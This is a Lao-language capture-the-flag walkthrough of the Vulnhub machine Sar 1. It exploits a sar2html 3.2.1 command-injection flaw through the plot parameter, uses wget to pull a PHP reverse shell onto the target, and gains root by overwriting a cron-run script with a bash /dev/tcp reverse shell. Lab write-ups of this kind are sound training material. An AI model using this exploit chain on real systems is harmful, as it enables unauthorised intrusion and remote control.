ບົດຄວາມນີ້ແອັດມິນຈະພາຜູ້ອ່ານມາເບິ່ງວິທີການຜ່ານໂຈດ Sar 1 ເຊິ່ງເປັນຮູບແບບ Boot2Root ຈາກເວັບ Vulnhub
ຖ້າຫາກວ່າທ່ານຜູ້ອ່ານສົນໃຈຢາກລອງຫຼິ້ນກ່ອນມາເບິ່ງສະເຫລີຍສາມາດ download ໄດ້ທີ່ລິ້ງລຸ່ມນີ້ໄດ້ເລີຍ
https://www.vulnhub.com/entry/sar-1,425/

ເມື່ອ run ເຄື່ອງ Sar 1 ໄດ້ແລ້ວ, ເຮົາກໍ່ມາເລີ່ມ Hack ກັນເລີຍ!
ກ່ອນອື່ນໝົດເລີຍແມ່ນເຮົາຕ້ອງຊອກຫາກ່ອນວ່າເຄື່ອງ Sar 1 ມັນຢູ່ IP ໃດໃນວົງ network ເຮົາ
ແອັດມິນໃຊ້ຄຳສັ່ງລຸ່ມນີ້ເພື່ອຊອກຫາ

sudo netdiscover -i eth1 -r 192.168.100.0/24

ເມື່ອຮູ້ແລ້ວວ່າ IP ເປົ້າໝາຍເຮົາແມ່ນ 192.168.100.103 ເຮົາກໍ່ລອງ scan ດ້ວຍ nmap ເບິ່ງວ່າມີລາຍລະອຽດຫຍັງແດ່ທີ່ໜ້າສົນໃຈ.

# Nmap 7.80 scan initiated Thu Mar 12 12:53:46 2020 as: nmap -sC -sV -oA sars -vv 192.168.100.103
Nmap scan report for 192.168.100.103
Host is up, received arp-response (0.00031s latency).
Scanned at 2020-03-12 12:53:46 EDT for 7s
Not shown: 999 closed ports
Reason: 999 resets
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:26:FD:23 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 12 12:53:53 2020 -- 1 IP address (1 host up) scanned in 6.84 seconds

ຜົນຈາກ nmap ເຮົາເຫັນວ່າມີ Port 80 ເປີດຢູ່ເມື່ອເປີດເຂົ້າໄປກໍ່ເປັນໜ້າ Landing page ທຳມະດາບໍ່ມີຫຍັງພິເສດ, ແອັດມິນເລີຍລອງເບິ່ງວ່າໃນ robots.txt ວ່າຈະມີຫຍັງໜ້າສົນໃຈບໍ່ກໍ່ເຫັນວ່າມີ directory sar2HTML

robots.txt

ເມື່ອເຂົ້າໄປ sar2HTML ກໍ່ຈະເປັນວ່າລະບົບນີ້ໃຊ້ sar2html Ver 3.2.1 ເຮົາກໍ່ລອງໄປຄົ້ນຫາເບິ່ງກໍ່ເຫັນວ່າ sar2html Ver 3.2.1 ມີຊ່ອງໂຫວ່ຫຍັງບໍ່? ປາກົດວ່າມີຊ່ອງໂຫວ່ RCE ຢູ່! ເລີຍເຮັດໃຫ້ເຮົາສາມາດວາງ shell ໄດ້ບໍ່ຍາກ~

ສຳລັບວິທີໂຈມຕີ້ກໍ່ງ່າຍໆເລີຍຄືການເຂົ້າໄປ path index.php?plot=;<command> ແລ້ວສາມາດເບິ່ງຜົນລັບໄດ້ໃນກ່ອງ “select # host”

ຮູ້ແນວນີ້ແລ້ວເຮົາກໍ່ມາລອງອ່ານຄ່າ /etc/passwd ເບິ່ງເລີຍວ່າຈະເປັນແນວໃດ. ກໍ່ສັງເກດວ່າມີ user ທີ່ຊື່ love ຢູ່.

ຕໍ່ມາເຮົາຮູ້ແລ້ວວ່າຈະ run command ແນວໃດກໍ່ທຳການສັ່ງໃຫ້ເຄື່ອງເປົ້າໝາຍດາວໂຫຼດ shell ຈາກເຄື່ອງເຮົາຜ່ານ HTTP ດ້ວຍຄຳສັ່ງ wget, ແຕ່ກ່ອນອື່ນເຮົາກໍ່ມາເລືອກກ່ອນວ່າເຮົາຈະໃຊ້ shell ໂຕໃດ ສ່ວນໂຕຖ້າເປັນລະບົບທີ່ເປັນ PHP ແອັດມິນມັກຈະໃຊ້ໂຕ /usr/share/webshells/php/php-reverse-shell.php (path ຕາມ Kali) ຫຼືສາມາດດາວໂຫຼດໄດ້ທີ່ລິ້ງນີ້ https://github.com/pentestmonkey/php-reverse-shell ເຮົາກໍ່ copy shell ທີ່ເຮົາຈະໃຊ້ມາບ່ອນທີ່ຈະ run web server ແລ້ວຢ່າລືມແກ້ໄຂຄ່າໃຫ້ສົ່ງການເຊື່ອມຕໍ່ກັບມາຫາ IP ເຄື່ອງເຮົາ ແລ້ວເປີດ netcat ຖ້າຕາມ port ທີ່ໄດ້ກຳນົດໃນ code ເລີຍ.

ແກ້ໄຂ IP ແລະ port ຕາມທີ່ຕ້ອງການຢູ່ໃນ ໄຟລ໌ PHP Shell

ກ່ອນຈະໄປຂັ້ນຕອນຕໍ່ໄປກໍ່ຢ່າລືມປ່ຽນນາມສະກຸນໄຟລ໌ຈາກ php ເປັນ txt ເພື່ອໃຫ້ງ່າຍເວລາດາວໂຫຼດດ້ວຍ wget ໃນບົດຄວາມນີ້ແອັດມິນຈະປ່ຽນຊື່ shell ເຮົາເປັນ re.txt

ເມື່ອທຸກຢ່າງພ້ອມແລ້ວກໍ່ມາ run server ຢູ່ເຄື່ອງຂອງເຮົາກ່ອນດ້ວຍຄຳສັ່ງ

sudo python -m SimpleHTTPServer 80 ຫຼື sudo php -S 0.0.0.0:80

ຕໍ່ມາກໍ່ສັ່ງໃຫ້ເຄື່ອງເປົ້າໝາຍດາວໂຫຼດ shell ຈາກເຄື່ອງເຮົາແລ້ວປ່ຽນນາມສະກຸນໄຟລ໌ກັບໄປເປັນ php ຄືເກົ່າ ເພື່ອໃຫ້ສາມາດ execute file ດັ່ງກ່າວໄດ້.

ມາເບິ່ງໃນ log web server ເຮົາກໍ່ຈະເຫັນວ່າມີການ access ມາທີ່ file re.txt ແລ້ວແປວ່າ run command ສຳເລັດ

ເຮົາກໍ່ມາເບິ່ງວ່າມີໄຟລ໌ທີ່ເຮົາຕ້ອງການຂຽນຢູ່ເທິງ server ແລ້ວບໍ່

ມີ re.php ແລ້ວກໍ່ທຳການເປີດໄຟລ໌ດັ່ງກ່າວແລ້ວມາເບິ່ງຢູ່ terminal ທີ່ເຮົາເປີດ netcat ຢູ່ເລີຍວ່າມີ connection ກັບມາຫາບໍ່

ປາກົດວ່າໄດ້ reverse shell ແລ້ວ!! ເຮົາກໍ່ສາມາດ run command ຕ່າງໆໄດ້ຢ່າງອິດສະຫຼະແລ້ວ! ກໍ່ລອງອ່ານຄ່າ /etc/passwd ອີກຄັ້ງເພື່ອເບິ່ງລາຍລະອຽດ user ທັງໝົດພາຍໃນເຄື່ອງ

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:112:117::/nonexistent:/bin/false
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:114:119::/var/lib/saned:/usr/sbin/nologin
pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin
gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
love:x:1000:1000:love,,,:/home/love:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
mysql:x:122:127:MySQL Server,,,:/nonexistent:/bin/false

ເຫັນວ່ານອກຈາກ root ກໍ່ມີພຽງ user ດຽວກໍ່ຄື love ເຮົາກໍ່ລອງເຂົ້າໄປ /home/love/ ເບິ່ງ, ກໍ່ເຫັນວ່າເຂົ້າໄດ້ປົກກະຕິແລ້ວເຮົາສາມາດຫາ flag ທຳອິດໄດ້ຢູ່ທີ່ /home/love/Desktop/user.txt

ຕໍ່ມາເຮົາຍັງເຫຼືອອີກ flag ຄືຕ້ອງໄດ້ສິດ root ຈຶ່ງຈະສາມາດອ່ານ flag ນັ້ນໄດ້. ເຮົາກໍ່ມາຊອກວິທີເຮັດ privilege escalation ຫຼື ຍົກສິດຂອງໂຕເອງຈາກ user ສິດຕ່ຳ ໄປເປັນສິດ root.
ເພື່ອຊ່ວຍໃຫ້ທຸກໆຢ່າງໄວຂຶ້ນເຮົາຈະໃຊ້ LinEnum ຊ່ວຍດຶງຂໍ້ມູນທີ່ໜ້າຈະເປັນປະໂຫຍດຕໍ່ເຮົາອອກມາໃຫ້ເຮົາວິທີເຄາະເພື່ອຫາວິທີຍົກສິດ. ສາມາດດາວໂຫຼດ ຫຼື clone ທີ່ລິ້ງນີ້ https://github.com/rebootuser/LinEnum

ຈັດເກັບລົງມາເກັບໄວ້ໃນເຄື່ອງເຮົາກ່ອນແລ້ວໃຊ້ຄຳສັ່ງ wget ເພື່ອດາວໂຫຼດມາເຄື່ອງເປົ້າໝາຍ ໂດຍແອັດມິນຈະດາວໂຫຼດມາໄວ້ຢູ່ທີ່ directory /tmp (ຂັ້ນຕອນຄ້າຍໆກັບຕອນດາວໂຫຼດ shell ຂຶ້ນ server ເປົ້າໝາຍ)

ໃນພາບຄື ແອັດມິນໄດ້ຍ້າຍມາເຮັດວຽກຢູ່ directory /tmp ດາວໂຫຼດ LinEnum.sh ມາແລ້ວໃສ່ permission execute ໃຫ້ຕື່ມແລ້ວກໍ່ execute ໂຕ LinEnum.sh ແລ້ວຈັດເກັບຜົນລັບເຂົ້າທີ່ໄຟລ໌ result.txt

ເມື່ອເປີດອ່ານກໍ່ເຫັນລາຍລະອຽດຫຼາຍໆໆ. ແອັດມິນມາສັງເກດເຫັນວ່າຢູ່ cronjob ທຸກໆ 5 ນາທີຈະມີການຍ້າຍໄປ directory ໄປ /var/www/html ແລະ run ໄຟລ໌ finally.sh ທັງໝົດເຮັດວຽກໃນສິດ root! ແປວ່າຖ້າເຮົາໄປແກ້ໄຂ finally.sh ມັນສົ່ງ reverse shell ກັບມາຫາເຄື່ອງເຮົາຜ່ານ file ນີ້ເຮົາກໍ່ຈະໄດ້ connection ທີ່ເປັນສິດ root!

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh

ເຮົາກໍ່ລອງຕາມໄປເບິ່ງວ່າໃນ directory /var/www/html ມີຫຍັງແດ່…

ຈະເຫັນໄດ້ວ່າສິດ finally.sh ແມ່ນບໍ່ອະນຸຍາດໃຫ້ເຮົາແກ້ໄຂໄຟລ໌ໄດ້. ກໍ່ລອງເປີດເບິ່ງກ່ອນວ່າໃນ file ດັ່ງກ່າວມີ code ຫຍັງ.

ຈະເຫັນວ່າ ໄຟລ໌ finally.sh ຈະໄປເອີ້ນໃຊ້ file ອີກອັນໜຶ່ງທີ່ຊື່ວ່າ write.sh ເຊິ່ງຈາກລາຍລະອຽດຂ້າງເທິງກໍ່ເຫັນໄດ້ວ່າເຮົາສາມາດແກ້ໄຂຄ່າໃນໄຟລ໌ດັ່ງກ່າວໄດ້!
ກໍ່ທຳການຂຽນທັບໄຟລ໌ write.sh ດ້ວຍຄຳສັ່ງທີ່ເຮົາຕ້ອງການ run ຄືການສົ່ງ connection ກັບຫາເຄື່ອງເຮົາຜ່ານ port 8080 ດ້ວຍຄຳສັ່ງລຸ່ມນີ້.

echo "#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.100.101/8080 0>&1" > write.sh

ເທົ່ານີ້ເປັນອັນວ່າສຳເລັດເຮົາກໍ່ພຽງລໍຖ້າປະມານ 5 ນາທີເພື່ອໃຫ້ໂຕລະບົບ cronjob ມັນເລີ່ມເຮັດວຽກຕາມເວລາທີ່ຖືກກຳນົດ. ເມື່ອມັນເຮັດວຽກເຮົາກໍ່ຈະໄດ້ shell ທີ່ເປັນສິດ root ແລ້ວ! ເປັນອັນວ່າສຳເລັດເຮົາສາມາດເຂົ້າໄປເອົາ flag ຢູ່ /root/root.txt ໄດ້ແລ້ວ!